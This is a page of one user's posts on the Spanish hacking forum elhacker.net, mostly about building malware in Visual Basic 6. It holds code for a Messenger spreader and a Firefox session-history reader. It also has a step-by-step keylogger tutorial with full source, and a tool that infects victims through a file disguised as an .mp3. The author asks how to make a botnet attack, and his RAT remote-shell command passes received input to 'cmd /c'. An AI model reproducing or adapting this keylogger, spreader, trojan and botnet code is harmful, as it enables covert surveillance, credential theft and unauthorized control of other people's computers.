elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 2 3 [4] 5
31  Programación / Programación Visual Basic / Personal Algorythm + Source en: 5 Diciembre 2009, 18:14 pm
Bueno este proyecto lo tenía parado, un dia se me ocurrió la idea de hacer un programa que cree un modulo para proyectos de VB6 (Visual Basic 6) con la función de cifrar y descifrar datos, lo que hice fue un programa con la opción de hacer un algoritmo personal, sustituyendo carácteres por otros.



Forma de uso :
Para llamar a la función de cifrar 'cifrado = Encrypt(Datos, Contraseña)'
Para llamar a la función de descifrar 'descifrado = Decrypt(Datos, Contraseña)'

Descargar Personal Algorythm (Binario)
Descargar Personal Algorythm (Source)

Contraseña de los ficheros : SCB Lab's

Saludos!  :D
32  Programación / Programación Visual Basic / Simple 'WLM' Spreader en: 18 Noviembre 2009, 17:07 pm
Bueno ShadeHack me pidió un propagador de msn e hice este muy sencillo =)
Se puede poner otra verificación del caracter '<'

Requerido 1 timer.

Código
  1. Private Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  2. Private Declare Function GetForegroundWindow Lib "User32" () As Long
  3. Dim lRet As Long, nWindow As String, Capt As String, Dat() As String
  4.  
  5. Private Sub TM_Timer()
  6. lRet = GetForegroundWindow() ' Obtenemos el handle de la ventana activa
  7. Capt = Space$(1024) ' Creamos un buffer para el titulo de la ventana
  8. nWindow = GetWindowText(lRet, Capt, Len(Capt)) ' Obtenemos la cantidad de carácteres
  9. Capt = Left$(Capt, nWindow) ' Obtenemos el nombre de la ventana
  10.  
  11. If Capt <> "" Then ' Verificamos que en la variable Capt haya datos
  12.  Dat() = Split(Capt, "@") ' Hacemos un split para hacer una 1 verificación
  13.  If UBound(Dat) > 0 Then ' Verificamos si dentro de la matriz Dat() hay datos
  14.   If InStr(1, Dat(1), ">") Then SendKeys ("Hola soy tu menstruación!" & "{ENTER}")  ' Hacemos una 2 verificación para saber si es una ventana de Windows Live Messenger y mandamos el mensaje
  15. End If
  16. End Sub
  17.  
  18.  

Descargar proyecto WLM Spread

Saludos! ;D
33  Programación / Programación Visual Basic / Sniffer en VB? en: 1 Septiembre 2009, 10:24 am
Hay algún source de algún buen sniffer? que capte todos los paquetes TCP/UDP?, vi estos dos pero no son muy buenos :

http://planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=25486&lngWId=1
http://planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=11706&lngWId=1

Estoy interesado en ver como trabajan.

Saludos! :-\
34  Programación / Programación Visual Basic / [VB6] Obtener paginas visitadas de Mozilla Firefox en: 18 Agosto 2009, 20:22 pm
Bueno ayer comencé a buscar archivos de firefox y di con 'sessionstore.bak', entondes terminé el mini modulo pero le hacia falta una limpieza, como no sabia como hacer esa limpieza le pedí a BlackZeroX que me ayduase a mejorarlo, a contianuación dejo mi codigo de fuente original y luego el codigo mejorado por BlackZeroX

Imagen del ejemplo mio :



Descargar codigo de SharkI

Y aqui os dejo el codigo en sucio de BlackZeroX :

Código
  1.  
  2. Attribute VB_Name = "Module1"
  3. Dim d()
  4. Sub main()
  5.    '---------------------------------------------------------------------------------------------------º
  6.    'Trabajar con punteros al archivo -> Garantisa el devido uso de la memoria de la plicaciòn Actual!¡.º
  7.    'Este es un Codigo Sucio creado por: BlackZeroX (blackzerox2006@hotmail.com)------------------------º
  8.  
  9. Dim ByteI() As Long, ByteF As Long, SData As String, Archivo As String, GetD As String
  10.  
  11.    Archivo = "c:\sessionstore.txt"
  12.    If Dir(Archivo, vbArchive) = "" Then GoTo Fin:
  13.  
  14.    Open Archivo For Binary As 1
  15.        d = Array(Chr(34) & "url" & Chr(34) & ":", _
  16.                  Chr(34) & "title" & Chr(34) & ":", _
  17.                  Chr(34) & "ID" & Chr(34) & ":")
  18.        ReDim ByteI(UBound(d))
  19.  
  20.        GetD = Space(255)
  21.        Get 1, , GetD
  22.        If Len(GetD) = 0 Then GoTo Fin:
  23.        '----------------------------------------------------------------
  24.        'Esto se deberia convertir en funcion para poder cargar los demas
  25.        '----------------------------------------------------------------
  26.            For i = 0 To 2
  27.                DoEvents
  28.                ByteI(i) = InStr(GetD, d(i))
  29.                If ByteI(i) = 0 Then Fin = True: GoTo Fin ' Termina Todo
  30.            Next i
  31.        '----------------------------------------------------------------
  32.        'Fin de supuesta funcion
  33.        '----------------------------------------------------------------
  34.  
  35.        'URL
  36.        Seek 1, ByteI(0)
  37.        ByteF = ByteI(1) - ByteI(0)
  38.        SData = Space(ByteF)
  39.        Get 1, , SData
  40.        SData = Limpiar(SData)
  41.        MsgBox SData
  42.  
  43.        'Title
  44.        Seek 1, ByteI(1)
  45.        ByteF = ByteI(2) - ByteI(1)
  46.        SData = Space(ByteF)
  47.        Get 1, , SData
  48.        SData = Limpiar(SData)
  49.        MsgBox SData
  50.        'ID
  51.        Seek 1, ByteI(2)
  52.        ' aqui se deberia pasar la supuesta funciòn para delimitar el rango a cargar con el ByteI(0) SIGUIENTE
  53.        ByteF = 6
  54.        SData = Space(ByteF)
  55.        Get 1, , SData
  56.        SData = Limpiar(SData)
  57.        MsgBox Val(SData)
  58. Fin:
  59.    Close 1
  60. End Sub
  61.  
  62.  
  63. Function Limpiar(StrData As String) As String
  64.    StrData = Replace(StrData, ",", "")
  65.    StrData = Replace(StrData, d(0), "")
  66.    StrData = Replace(StrData, d(1), "")
  67.    StrData = Replace(StrData, d(2), "")
  68.    StrData = Replace(StrData, Chr(34), "")
  69.    Limpiar = StrData
  70. End Function
  71.  

Saludos!  :P
35  Programación / Programación Visual Basic / [VB6] Creando un keylogger basico by SharkI en: 17 Agosto 2009, 17:21 pm
Creando un Keylogger Basico en Visual Basic 6.0 by SharkI



- ¿Que es un keylogger y como trabaja?
- Conocimientos recomendados
- Comenzando con el manual


¿Que es un keylogger y como trabaja? :
Un keylogger (derivado del inglés: Key (Tecla) y Logger (Registrador); registrador de teclas) es un tipo de software que se encarga de registrar las pulsaciones que se realizan en el teclado, para memorizarlas en un fichero y/o enviarlas a través de internet.

Conocimientos recomendados :
Para poder desarollar lo que se mostrará en el manual se requiere conocimientos basicos de Visual Basic 6.0 y también saber que es un caracter ASCII http://es.wikipedia.org/wiki/ASCII

Comenzando con el manual :
Para comenzar voy a poner una tabla sobre las constantes basicas que ofrece Visual Basic para capturar las teclas.



Comencemos, primero abrimos un nuevo proyecto en visual basic seleccionando 'EXE estándar' :



Añadiremos '1 TextBox, 1 Timer y 2 CommandButtons', quedando algo asi :



Explicaré para que es cada control :
- TextBox = Aqui se mostrarán las teclas capturadas
- Timer(TM) = Se encargará de activar/desactivar el keylogger, cuando el keylogger está activo el timer estará verificando cada 10 milisegundos que tecla se ha pulsado, asi que hay que poner el intervalo en 10 milisegundos y en 'Enabled' = False
- 2 CommandButtons = Uno se usará para activar el keylogger y otro para desactivarlo.

Vamos a empezar con el codigo de fuente, el keylogger necesitará usar la api llamada 'GetAsyncKeyState' asi que la añadimos a la parte 'General' del codigo de fuente y nos dirigimos al timer, a partir de ahora iré poniendo comentarios en el mismo codigo de fuente :

Código:
Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Private Sub TM_Timer()
 Dim i as integer, x as integer   '# Declaramos i y x como enteros
 For i =  8 to 222  '# El bucle recorrerá desde el valor 8 hasta el 222

  x = GetAsyncKeyState(i)  '# Obtendrá la tecla que se situa en el entero i
  
 Select case i  '# Ahora recibiremos el valor del entero 'i' para interpretarlo depende del valor
                     '# que sea, primero usaremos las constantes basicas que nos da VB, nos podemos
                     '# ir fijando en la anterior lista que he puesto al principio
 
 If x = -32767 Then  '# Verificamos si se ha pulsado alguna tecla
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "   '#  Recibimos la tecla y la interpretamos
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "F1"
   Case vbKeyF2: Text1.Text = Text1.Text & "F2"
   Case vbKeyF3: Text1.Text = Text1.Text & "F3"
   Case vbKeyF4: Text1.Text = Text1.Text & "F4"
   Case vbKeyF5: Text1.Text = Text1.Text & "F5"
   Case vbKeyF6: Text1.Text = Text1.Text & "F6"
   Case vbKeyF7: Text1.Text = Text1.Text & "F7"
   Case vbKeyF8: Text1.Text = Text1.Text & "F8"
   Case vbKeyF9: Text1.Text = Text1.Text & "F9"
   Case vbKeyF10: Text1.Text = Text1.Text & "F10"
   Case vbKeyF11: Text1.Text = Text1.Text & "F11"
   Case vbKeyF12: Text1.Text = Text1.Text & "F12"
   Case vbKeyF13: Text1.Text = Text1.Text & "F13"
   Case vbKeyF14: Text1.Text = Text1.Text & "F14"
   Case vbKeyF15: Text1.Text = Text1.Text & "F15"
   Case vbKeyF16: Text1.Text = Text1.Text & "F16"
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
 End Select
 End if

End Sub


Vale ya tenemos las teclas basicas que nos facilito las constantes de visual basic, pero que pasa con todas las que faltan?, para las siguientes usaremos los carácteres ASCII ya que para esas teclas no hay constantes facilitadas. Para ello vamos a hacer un pequeño programa para poder saber que valor ASCII tiene cada una de las letras, vayamos a un nuevo proyecto 'EXE estándar' y añadimos '1 TextBox y 1 CommandButton', quedando algo así :



Ahora con la función 'Asc' podemos obtener el valor Ascii, miremos el codigo de fuente del 'CommandButton' :

Código:
Private Sub Command1_Click()
 Text1.Text = Asc(Text1.Text)
End Sub

Bueno ahora el carácter que se escriba en el 'TextBox' se transformará en caracter Ascii solo pulsando el 'CommandButton', ahora solo nos queda agregar los carácteres que faltan al proyecto del keylogger de la siguiente manera :

Dentro del 'Select Case', como un 'Case' más :
Código:
Case 112: Text1.Text = Text1.Text & " [F1] "  '#  112 es el valor ASCII de la tecla F1

Bueno aqui acabo el manual, espero que les sea de gran ayuda y que aprendan mucho, si quieren compartir este manual no olviden poner el respectivo autor.

Saludos!  ;)
36  Seguridad Informática / Abril negro / SharkI Transformer [Infectar con un .mp3] en: 19 Abril 2009, 20:43 pm
Bueno guiandome del videotuto de polifemo y recordando el post de hackdark y como no del blog de Thor, aqui he hecho una pequeña herramienta que une los archivos y crea el acceso directo, lo unico que teneis que hacer es modificar el destino del acceso directo.



Bueno lo unico que teneis que hacer despues de crear el archivo y el acceso directo es esto :



[size=150]Descargar[/size]

Saludos!  :drinking:
37  Programación / Programación Visual Basic / Como enviar una peticion HTTP desde winsock en: 4 Enero 2009, 23:25 pm
Bueno estoy realizando una botnet, y quisiera saber como atacaria desde Visual Basic me dijieron enviando una peticion HTTP desde winsock, lei algunos textos y eso no me entere mucho, alguien me puede dejar algun ejemplo mas o menos de como atacaria una Botnet?

Saludos! :huh:
38  Programación / Programación Visual Basic / PopUp sin borde de form en: 3 Enero 2009, 21:40 pm
Bueno quisiera saber como poner un popup sin que salga el borde del form.
Por ejemplo hagan lo siguiente :
1. Creen un nuevo proyecto exe
2. Quitenle los bordes al form
3. Y si le agregan un PopUp menu se pone SI o SI un borde en la ventana.

Alguna sugerencia o truco ?  :huh:
39  Programación / Programación Visual Basic / Ayuda con Shell Remota en: 2 Diciembre 2008, 13:46 pm
Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!


40  Programación / Programación Visual Basic / Problema con mi troyaNo.. en: 8 Noviembre 2008, 13:41 pm
Bueno tengo un problema con el "SharkI RAT"  :P y es que si le pongo en el servidor una no-ip no llega conexion.. pero si pongo 127.0.0.1 localmente si se conecta. Pude pensar que fuese de el MSWINSOCK.OCX pero saltaria un error de que falta la libreria.. No se que puede ser.. si alguien me quiere ayudar con algun error del code que me agregue a mi msn sharki@sharki.es ya no se que hacer..

Se les agradeceria mucho!

Saludos! ;D
Páginas: 1 2 3 [4] 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines